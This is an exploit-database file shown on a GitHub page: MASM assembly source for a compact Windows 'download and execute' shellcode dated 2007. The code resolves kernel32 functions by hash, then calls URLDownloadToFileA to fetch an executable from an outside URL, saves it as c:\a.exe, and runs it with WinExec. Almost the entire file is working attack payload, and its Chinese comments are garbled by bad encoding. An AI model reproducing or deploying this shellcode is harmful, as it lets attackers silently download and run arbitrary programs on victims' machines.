forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path13516.asm
More file actions
executable file
·138 lines (121 loc) · 4.26 KB
/
Copy path13516.asm
File metadata and controls
executable file
·138 lines (121 loc) · 4.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 163=61(16+8+9+(28))+95(68+27)+17
;163+19=192
comment %
#--------------------------------------# #
# Tiny Download&&Exec ShellCode--> # #
# -->size 192 # #
# 2007.06.01 #
# codz: czy # #
# www.ph4nt0m.org # #
#------------------------------------------# #
system :test on ie6+XPSP2/2003SP2/2kSP4
%
.586
.model flat,stdcall
option casemap:none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib
.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer db 2046 dup(0)
downshell db 'down exploit',0
.code
start:
invoke MessageBoxA,0,offset downshell,offset downshell,1
invoke RtlMoveMemory,offset shellcodebuffer,00401040H,256
mov eax,offset shellcodebuffer
jmp eax
somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;ÉÃÂÃæµÄ´úÂëÊÇ°ÑÔÚ´úÂë¶ÎÖõÄshellcodeÒƶ¯Êý¾Ã¶ÎÖÃÂÖ´ÃÂã¬Ä£ÄâÕæʵµÄshellcodeÖ´ÃÂû·¾³
@@shellcodebegin:
call @@beginaddr
@@beginaddr:
PUSH 03H ;Òªµ÷ÓõÄAPIº¯Êý¸öÊý
jmp @@realshellcode
myExitProcess dd 073e2d87eh
myWinExec dd 00e8afe98h
myLoadLibraryA dd 0ec0e4e8eh
dll db 'URLMON',0,0
myUrlDownFile dd 0702f1a36h
path db 'c:\a.exe',0
url db 'http://www.ph4nt0m.org/a.exe',0
@@realshellcode:
POP ECX
POP EDI
SCASD ;edi+4
;µÃµ½kernel32.dll»ùµØÖ·
db 67h,64h,0A1h,30h,00h
mov eax, [eax+0cH]
mov esi, [eax+1cH]
lodsd
mov ebp, [eax+08H] ;EBPÖôæ·Åkernel32.dllµÄ»ùµØÖ·
;´¦Àõ¼³ö±ÃÂ
@@next2:
PUSH ECX
@@next3:
MOV ESI,[EBP+3Ch]
MOV ESI,[EBP+ESI+78h]
ADD ESI,EBP
PUSH ESI
MOV ESI,[ESI+20h]
ADD ESI,EBP
XOR ECX,ECX
DEC ECX
@@next:
INC ECX
LODSD
ADD EAX,EBP
XOR EBX,EBX
@@again:
MOVSX EDX,BYTE PTR [EAX]
CMP DL,DH
JZ @@end
ROR EBX,0Dh
ADD EBX,EDX
INC EAX
JMP @@again
@@end:
CMP EBX,[EDI]
JNZ @@next
POP ESI
MOV EBX,[ESI+24h]
ADD EBX,EBP
MOV CX,WORD PTR [ECX*2+EBX]
MOV EBX,[ESI+1Ch]
ADD EBX,EBP
MOV EAX,[ECX*4+EBX]
ADD EAX,EBP
STOSD
POP ECX
loop @@next2
mov ecx,[edi] ;2
cmp cl,'c' ;3
jz @@downfile ;2
PUSH EDI
CALL EAX ;2
xchg eax,ebp
scasd
scasd
push 01 ;2µÚ¶þ¸öDLLµÄº¯Êý¸öÊý
jmp @@next3 ;2
;×ܼÆ17
@@downfile:
push edx ;0
push edx ;0
push edi ;file=c:\a.exe
lea ecx, dword ptr [edi+9h]
push ecx ;url
push edx ;0
call eax ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0
push 1 ;FOR TEST
push edi
call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1
call dword ptr [edi-18H] ;Exitprocess
somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
invoke ExitProcess,0
end start
; milw0rm.com [2007-06-27]